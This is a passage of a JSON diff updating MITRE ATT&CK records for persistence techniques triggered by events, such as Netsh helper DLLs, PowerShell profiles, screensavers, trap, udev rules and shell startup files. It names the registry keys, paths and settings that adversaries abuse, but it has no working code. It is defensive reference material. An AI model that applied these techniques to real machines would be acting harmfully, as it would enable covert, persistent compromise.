+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"Process: Process Creation\", \"File: File Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.182000+00:00\", \"old_value\": \"2025-04-16 20:37:15.460000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1045: Code Signing",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0216: Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:26:51.207000+00:00",
+ "modified": "2025-10-24 17:49:37.405000+00:00",
+ "name": "Netsh Helper DLL",
+ "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/007",
+ "external_id": "T1546.007"
+ },
+ {
+ "source_name": "Demaske Netsh Persistence",
+ "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
+ "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"
+ },
+ {
+ "source_name": "TechNet Netsh",
+ "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
+ "url": "https://technet.microsoft.com/library/bb490939.aspx"
+ },
+ {
+ "source_name": "Github Netsh Helper CS Beacon",
+ "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
+ "url": "https://github.com/outflankbv/NetshHelperBeacon"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Matthew Demaske, Adaptforward"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.405000+00:00\", \"old_value\": \"2025-04-16 20:37:23.142000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0575: Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 15:11:02.758000+00:00",
+ "modified": "2025-10-24 17:48:24.124000+00:00",
+ "name": "PowerShell Profile",
+ "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/013",
+ "external_id": "T1546.013"
+ },
+ {
+ "source_name": "Wits End and Shady PowerShell Profiles",
+ "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
+ "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
+ },
+ {
+ "source_name": "ESET Turla PowerShell May 2019",
+ "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
+ "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
+ },
+ {
+ "source_name": "Malware Archaeology PowerShell Cheat Sheet",
+ "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
+ "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
+ },
+ {
+ "source_name": "Microsoft About Profiles",
+ "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
+ },
+ {
+ "source_name": "Microsoft Profiles",
+ "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.",
+ "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Allen DeRyke, ICE",
+ "Matt Green, @mgreen27"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.124000+00:00\", \"old_value\": \"2025-04-15 19:58:06.292000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\\n\\n* $PsHome\\\\Profile.ps1\\n* $PsHome\\\\Microsoft.{HostProgram}_profile.ps1\\n* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Profile.ps1\\n* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Microsoft.{HostProgram}_profile.ps1\\n\\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +0,0 @@\\n-Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\\n-\\n-* $PsHome\\\\Profile.ps1\\n-* $PsHome\\\\Microsoft.{HostProgram}_profile.ps1\\n-* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Profile.ps1\\n-* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Microsoft.{HostProgram}_profile.ps1\\n-\\n-Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1045: Code Signing",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0451: Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 13:51:01.210000+00:00",
+ "modified": "2025-10-24 17:49:24.634000+00:00",
+ "name": "Screensaver",
+ "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/002",
+ "external_id": "T1546.002"
+ },
+ {
+ "source_name": "ESET Gazer Aug 2017",
+ "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+ },
+ {
+ "source_name": "Wikipedia Screensaver",
+ "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
+ "url": "https://en.wikipedia.org/wiki/Screensaver"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Bartosz Jerzman"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.634000+00:00\", \"old_value\": \"2025-04-16 20:37:21.356000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\\n\\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\\n-\\n-Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0154: Detect Screensaver-Based Persistence via Registry and Execution Chains"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:17:43.906000+00:00",
+ "modified": "2025-10-24 17:48:51.725000+00:00",
+ "name": "Trap",
+ "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/005",
+ "external_id": "T1546.005"
+ },
+ {
+ "source_name": "Trap Manual",
+ "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.",
+ "url": "https://ss64.com/bash/trap.html"
+ },
+ {
+ "source_name": "Cyberciti Trap Statements",
+ "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.",
+ "url": "https://bash.cyberciti.biz/guide/Trap_statement"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS",
+ "Linux"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.725000+00:00\", \"old_value\": \"2025-04-25 14:46:52.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0369: Detection Strategy for Event Triggered Execution via Trap (T1546.005)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2024-09-26 17:02:09.888000+00:00",
+ "modified": "2025-10-24 17:49:37.034000+00:00",
+ "name": "Udev Rules",
+ "description": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content\u2019s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/017",
+ "external_id": "T1546.017"
+ },
+ {
+ "source_name": "Ignacio Udev research 2024",
+ "description": "Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.",
+ "url": "https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"
+ },
+ {
+ "source_name": "Elastic Linux Persistence 2024",
+ "description": "Ruben Groenewoud. (2024, August 29). Linux Detection Engineering - A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.",
+ "url": "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms"
+ },
+ {
+ "source_name": "Reichert aon sedexp 2024",
+ "description": "Zachary Reichert. (2024, August 19). Unveiling \"sedexp\": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.",
+ "url": "https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Eduardo Gonz\u00e1lez Hern\u00e1ndez (@codexlynx)",
+ "Eder P\u00e9rez Ignacio, @ch4ik0",
+ "Wirapong Petshagun",
+ "@grahamhelton3",
+ "Ruben Groenewoud (@RFGroenewoud)"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.034000+00:00\", \"old_value\": \"2025-04-15 23:17:25.978000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024) \"}, \"root['x_mitre_contributors'][4]\": {\"new_value\": \"Ruben Groenewoud (@RFGroenewoud)\", \"old_value\": \"Ruben Groenewoud, Elastic\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0375: Detection Strategy for T1546.017 - Udev Rules (Linux)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:13:45.936000+00:00",
+ "modified": "2025-10-24 17:49:15.960000+00:00",
+ "name": "Unix Shell Configuration Modification",
+ "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/004",
+ "external_id": "T1546.004"
+ },
+ {
+ "source_name": "anomali-linux-rabbit",
+ "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.",
+ "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat"
+ },
+ {
+ "source_name": "anomali-rocke-tactics",
+ "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.",
+ "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect"
+ },
+ {
+ "source_name": "Linux manual bash invocation",
+ "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.",
+ "url": "https://wiki.archlinux.org/index.php/Bash#Invocation"
+ },
+ {
+ "source_name": "ScriptingOSX zsh",
+ "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.",
+ "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/"
+ },
+ {
+ "source_name": "bencane blog bashrc",
+ "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.",
+ "url": "https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/"
+ },
+ {
+ "source_name": "macOS MS office sandbox escape",
+ "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.",
+ "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a"
+ },
+ {
+ "source_name": "Magento",
+ "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.",
+ "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html"
+ },
+ {
+ "source_name": "Tsunami",
+ "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.",
+ "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
+ },
+ {
+ "source_name": "PersistentJXA_leopitt",
+ "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.",
+ "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
+ },
+ {
+ "source_name": "code_persistence_zsh",
+ "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.",
+ "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js"
+ },
+ {
+ "source_name": "ESF_filemonitor",
+ "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.",
+ "url": "https://objective-see.com/blog/blog_0x48.html"
+ },
+ {
+ "source_name": "intezer-kaiji-malware",
+ "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
